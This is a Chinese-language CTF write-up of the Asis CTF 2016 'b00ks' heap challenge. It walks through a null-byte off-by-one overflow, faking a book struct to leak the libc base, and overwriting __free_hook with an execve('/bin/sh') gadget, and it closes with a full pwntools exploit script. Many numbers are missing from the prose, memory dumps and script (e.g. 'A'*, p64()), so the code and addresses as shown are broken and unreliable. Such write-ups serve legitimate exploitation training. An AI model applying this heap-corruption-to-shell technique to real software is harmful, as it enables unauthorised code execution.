天天看點

Asis CTF 2016 b00ks

Asis CTF 2016 b00ks

1. 序言

  本篇文章是對

CTF WIKI

Off-By-One

漏洞類型的補充.

CTF WIKI

上面

Off-By-One

這一章節中兩個例子均沒有給出相應的

EXP

, 本次總結将其中一個例子詳細分析一下, 希望能夠對其他學習者有幫助

2. 程式簡介

該程式是一個圖書管理系統,可以添加書名,修改作者名以及寫備注等功能.

3. 程式運作

1. Welcome

輸入一個

name

2. Create a book

> 
Enter book name size: 
Enter book name (Max  chars): Love

Enter book description size: 
Enter book description: good
           

3. Delete

> 
Enter the book id you want to delete: 
           

4. Edit a book

> 
Enter the book id you want to edit: 
Enter new book description: very good
           

5. Print book detail

> 
ID: 
Name: Love
Description: very good
Author: Bill
           

6. Change current author name

> 5
Enter author name: Steven
           

7. Exit

6. Exit
> 6
           

4. 程式分析

1.

b00k

結構體

stuct book{
  int id;
  char *name;
  char *description;
  int size;
}
           

    程式運作, 建立一個結構體數組,設為

b00ks

.

2.

b00ks

位置

0x55865b7c9040: 0x4141414141414141  0x4141414141414141
        0x55865b7c9050: 0x4141414141414141  0x4141414141414141 --> author
b00ks<--0x55865b7c9060: 0x000055865cc0d160(first book)  0x0000000000000000
           

3.

Null byte overflow

    修改

author

, 輸入

32

個字元,會出現空子節覆寫

first b00k

指針最後一個位元組

0x55865b7c9040: 0x4141414141414141  0x4141414141414141
0x55865b7c9050: 0x4141414141414141  0x4141414141414141
0x55865b7c9060: 0x000055865cc0d100(0x60-->0x00) 0x000055865cc0d190
           

5. 漏洞介紹

Off-By-One

顧名思義就是我們能夠多寫入一個位元組的内容.

  舉一個簡單的例子:建造一條直栅欄(即不圍圈),長30米、每條栅欄柱間相隔3米,需要多少條栅欄柱?

  最容易想到的答案是

10

, 但正确答案是

9

11

. 這種錯誤是C語言初學者常犯的錯誤, 經常在數組或循環出現.

6. 漏洞分析

    漏洞點: 問題出在對

author

的處理上, 當我們輸入32個字元時, 程式會将第33個字元指派為

"\x00"

, 進而出現了

Null Byte Overflow

.

Asis CTF 2016 b00ks

    思路分析: 建立兩個

b00k

, 在

first b00k

中僞造

b00k

進而控制

second b00k

description

指針, 将該指針該為

__free_hook

, 修改

second b00k

description

execve("/bin/sh")

, 最後

free

7. 分步講解

1. 建立第一個

first b00k

0x55f276c74160: 0x0000000000000001                 0x000055f276c74020--> Name
0x55f276c74170: 0x000055f276c740c0(description)    0x000000000000008c(140)
           

    結論: 當

0x55f276c74160 --> 0x55f276c74100

時,

0x55f276c74100

正好落在

first b00k

description

中, 屬于可控範圍, 為我們僞造

b00k

打下了基礎.

2. 僞造

b00k

x55f276c740c0: x4141414141414141  x4141414141414141
x55f276c740d0: x4141414141414141  x4141414141414141
x55f276c740e0: x4141414141414141  x4141414141414141
x55f276c740f0: x4141414141414141  x4141414141414141
x55f276c74100: x0000000000000001  x000055f276c74198----
x55f276c74110: x000055f276c74198  x000000000000ffff   |
......                                                   |
x55f276c74160: x0000000000000001  x000055f276c74020   |
x55f276c74170: x000055f276c740c0  x000000000000008c   |
x55f276c74180: x0000000000000000  x0000000000000031   |
x55f276c74190: x0000000000000002  x00007f282b8e7010 <-|
x55f276c741a0: x00007f282b8c5010  x0000000000021000
x55f276c741b0: x0000000000000000  x0000000000020e51
           

    結論: 可以看到

0x55f276c74100

已經是

fake b00k

3. 空位元組覆寫

0x55f275d55040: 0x4141414141414141  0x4141414141414141
0x55f275d55050: 0x4141414141414141  0x4141414141414141
0x55f275d55060: 0x000055f276c74100  0x000055f276c74190
           

    洩露的是

second b00k

name pointer

description pointer

.

這個指針和libc base address是有直接聯系的.

rw-p  [heap]
  r-xp  /lib/x86_64-linux-gnu/libc-.so
  ---p  /lib/x86_64-linux-gnu/libc-.so
           

offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010

  結論: 通過僞造的

b00k

, 我們洩露了

libc base address

.

4.擷取相關指針

主要是兩個

malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + x4526a
           

    結論: 通過

libc base address

, 退出了

__free_hook

execve_addr

在程式中的實際位置.

5.修改

    通過

first b00k

修改

second b00k

description

指針為

__free_hook

, 在修改second b00k的description内容為

execve("/bin/sh", null, environ)

, 最後執行

free

x55f276c74190: x0000000000000002  x00007f282b7047a8 --
x55f276c741a0: x00007f282b7047a8  x0000000000021000  |
......                                                  |
x7f282b7047a8 <__free_hook>:   x00007f306ff4726a  x0000000000000000
           

    結論: 由于

__free_hook

裡面的内容不為

NULL

, 遂執行内容指向的指令, 即

execve("/bin/sh", null, environ)

相關問題解答

為什麼第二個

b00k

申請的空間那麼大?

    If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment

簡單的說, 申請小了不能夠洩露出

libc base address

完整EXP

from pwn import *

context.log_level = 'debug'
p = process("./b00ks")
libc = ELF("./libc.so.6")
gdb.attach(p)

def memleak1(p):
     p.sendline("4")
     log.info(p.recvuntil("Author:"))
     msg = p.recvline()
     log.info(p.recvuntil(">"))
     msg = msg.split("A"*)[].strip("\n")
     addr = u64(msg.ljust(, "\x00"))
     log.success("Leaked address of struct object : " + hex(addr))
     return addr

def memleak2(p):
     p.sendline("4")
     p.recvuntil("Name: ")
     msg=p.recvline().strip("\n")
     msg=u64(msg.ljust(, "\x00"))
     log.info(p.recv(timeout = ))
     log.success("Leaked address of allocated area " + hex(msg))
     return msg

def change_ptr(p):
     log.progress("Changing the struct pointer")
     p.sendline("5")
     log.info(p.recvuntil(":"))
     p.sendline("A"*)
     log.info(p.recvuntil(">"))

def fake_obj(p, payload, index):
     log.progress("Editing description")
     p.sendline("3")
     log.info(p.recvuntil(":"))
     p.sendline(str(index))
     log.info(p.recvuntil(":"))
     p.sendline(payload)

def create_book(p,size):
     p.sendline("1")
     log.info(p.recvuntil(":"))
     p.sendline(str(size))
     log.info(p.recvuntil(":"))
     p.sendline("asdf")
     log.info(p.recvuntil(":"))
     p.sendline(str(size))
     log.info(p.recvuntil(":"))
     p.sendline("asdf")
     log.info(p.recvuntil(">"))

def release():
     p.sendline("2")
     log.info(p.recvuntil(":"))
     p.sendline("2")

log.info(p.recvuntil(":"))
p.sendline("A"*)
log.info(p.recvuntil(">"))
create_book(p, )
addr = memleak1(p) +              #address of second object on heap
create_book(p, )               #allocate new area
payload = "A"* + p64() + p64(addr) *  + p64() #fake obj
fake_obj(p, payload, )
change_ptr(p)                         #null overflow
addr = memleak2(p)
log.info(hex(addr))

#part two
libcbase = addr - 
malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + 

#part three
payload = p64(malloc_hook) * 
fake_obj(p, payload, )
payload = p64(execve_addr)
fake_obj(p, payload, )
release()

p.interactive()
           

參考連結

幾乎唯一的WP

CTF WIKI